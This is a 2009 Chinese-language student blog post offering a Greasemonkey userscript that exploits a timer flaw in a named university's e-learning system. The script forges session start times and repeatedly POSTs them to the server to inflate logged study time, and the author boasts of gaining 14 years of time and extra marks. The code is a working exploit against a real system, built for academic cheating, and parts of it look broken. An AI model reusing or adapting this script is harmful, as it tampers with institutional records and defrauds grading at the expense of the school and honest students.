星期日, 10月 18, 2009

nkut 網路學習 增加在線時間

在南開 ,學校的網路學習系統 都會有計時器的功能,
當你瀏覽一篇文章 他就會幫你計時,
有些老師就會看你有沒有認真在上課,像是一個小時加0.001分,
這個時候你就可以得到分數,所以小弟就寫了一個腳本,
去呼叫他本身的計時器函數,由於他的計時器有缺陷,
所以可以以1秒六小時來衝時間,此時我的時間就變成14年。
分數也增加到很多。
// ==UserScript==
//XXXzi4 ji2 xiang3 xiang4 ba0 !!
//nkut_elearning v0.4
// ==/UserScript==
/*
http://elearning.nkut.edu.tw/learn/path/SCORM_fetchResource.php
*/
var nkute = "http://elearning.nkut.edu.tw/learn/index.php";
var valdata = "
時間";
valdata += "";;
valdata += "";
valdata += "";
valdata += "";
valdata += "";
valdata += "";
valdata += "";
valdata += "";
valdata += "
test
test
test
test
test
test
test
";
valdata += "
";

var mun =0;
var msg;

var switch_1 = 0;
var time_n = 0;
var time_m = 1;
var time_d = 1;
var last_check = new Date();
var time_s = 1;

var href;
var prev_href;
var prev_node_id;
var prev_node_title;
var begin_time;
var post_url;

var $;
// Add jQuery
var GM_JQ = document.createElement("script");
GM_JQ.src = "http://code.jquery.com/jquery-latest.min.js";
GM_JQ.type = "text/javascript";
document.body.appendChild(GM_JQ);
// Check if jQuery's loaded
var checker2;
var checker;

function JQuery_run(){
if(switch_1 == 0){
var fight_data = $(valdata);
//alert($("body").html());
//$(".hosp").html("");
fight_data.addClass("fight_data").attr('id','fight_data');
fight_data.prependTo("#displayPanel");

if(location.href == "http://elearning.nkut.edu.tw/learn/path/pathtree.php"){
href = $("#fetchResourceForm").children("input:eq(0)").attr("value"); //$("input").val(); children("li:eq(0)")
prev_href = $("#fetchResourceForm").children("input:eq(1)").attr("value");
prev_node_id = $("#fetchResourceForm").children("input:eq(2)").attr("value");
prev_node_title = $("#fetchResourceForm").children("input:eq(3)").attr("value");
begin_time = $("#fetchResourceForm").children("input:eq(4)").attr("value");
//alert(href + "\n" + prev_href + "\n" + prev_node_id + "\n" + prev_node_title + "\n" + begin_time + "\n");
begin_time = "2000-10-13 13:08:18";
post_url = "href="+ href +"&prev_href="+ prev_href +"&prev_node_id="+ prev_node_id +"&prev_node_title="+ prev_node_title +"&begin_time="+ begin_time;
//alert(post_url);
//cx_run();
//alert($("body").html());
if(href != ""){
switch_1 = 1;
//alert(switch_1);
}else{
//錯誤時.
}
}
}
if(switch_1 != 0){
//alert(switch_1);
$("#toolbar").html("asdfasdf");
var current = new Date();
var seconds = (current - last_check) / 1000;
//time = parseInt(time_s-seconds);
// $("#t1").html(time);
// $("#t2").html(begin_time);
$("#t3").html("href = "+href);
$("#t4").html("prev_href = "+prev_href);
$("#t5").html("prev_node_id = "+prev_node_id);
$("#t6").html("prev_node_title = "+prev_node_title);//prev_node_title
$("#t6").html("post_url = "+post_url);//post_url
$("#t7").html(mun);
if(time <= 0){ //alert(time); last_check = current; if(time_m == 13){ time_n += 1; time_m = 1; } if(time_n == 50){ time_n = 0; } if(time_d == 30){ time_d = 0; time_m += 1; } year1 = 1996 + time_n; var ydm = new Date(); ydm.setFullYear(year1,time_m,time_d); ydm.setHours(13,35,1);//ydm.setHours(20,35,1); begin_time = curDateTime(ydm); post_url = "href="+ href +"&prev_href="+ prev_href +"&prev_node_id="+ prev_node_id +"&prev_node_title="+ prev_node_title +"&begin_time="+ begin_time; time_d +=1; //cx_run(); test_run(); } } } function test_run(){ GM_xmlhttpRequest({ method: 'POST', url: "http://elearning.nkut.edu.tw/learn/path/SCORM_fetchResource.php", data: encodeURI(post_url), headers: { "Content-type" : "application/x-www-form-urlencoded" }, onload: function(response) {//response mun +=1; } }); } function fetchServerTime(){ return begin_time; } function curDateTime(d){ var year = d.getFullYear(); var month = d.getMonth(); var date = d.getDate(); var day = d.getDay(); var hours = d.getHours(); var minutes = d.getMinutes(); var seconds = d.getSeconds(); var ms = d.getMilliseconds(); var curDateTime= year; if(month>9)
curDateTime = curDateTime +"-"+month;
else
curDateTime = curDateTime +"-0"+month;
if(date>9)
curDateTime = curDateTime +"-"+date;
else
curDateTime = curDateTime +"-0"+date;
if(hours>9)
curDateTime = curDateTime +" "+hours;
else
curDateTime = curDateTime +" 0"+hours;
if(minutes>9)
curDateTime = curDateTime +":"+minutes;
else
curDateTime = curDateTime +":0"+minutes;
if(seconds>9)
curDateTime = curDateTime +":"+seconds;
else
curDateTime = curDateTime +":0"+seconds;
return curDateTime;
}

//post 工具
function cx_run(){
GM_xmlhttpRequest(
{
method: 'POST',
url: encodeURI("http://elearning.nkut.edu.tw/learn/path/SCORM_fetchResource.php"),
headers: { "Content-type" : "application/x-www-form-urlencoded" },
data: encodeURI(post_url),
onload: function(req)
{
mun +=1;
return 0;
//msg = response.responseText;
}
});
return 0;
}

window.setTimeout(function() {
//checker2=setInterval(function(){
if(typeof ($ = unsafeWindow.jQuery) != "undefined") {
clearInterval(checker);
JQuery_run();
}},1000);
}, 1000);

沒有留言: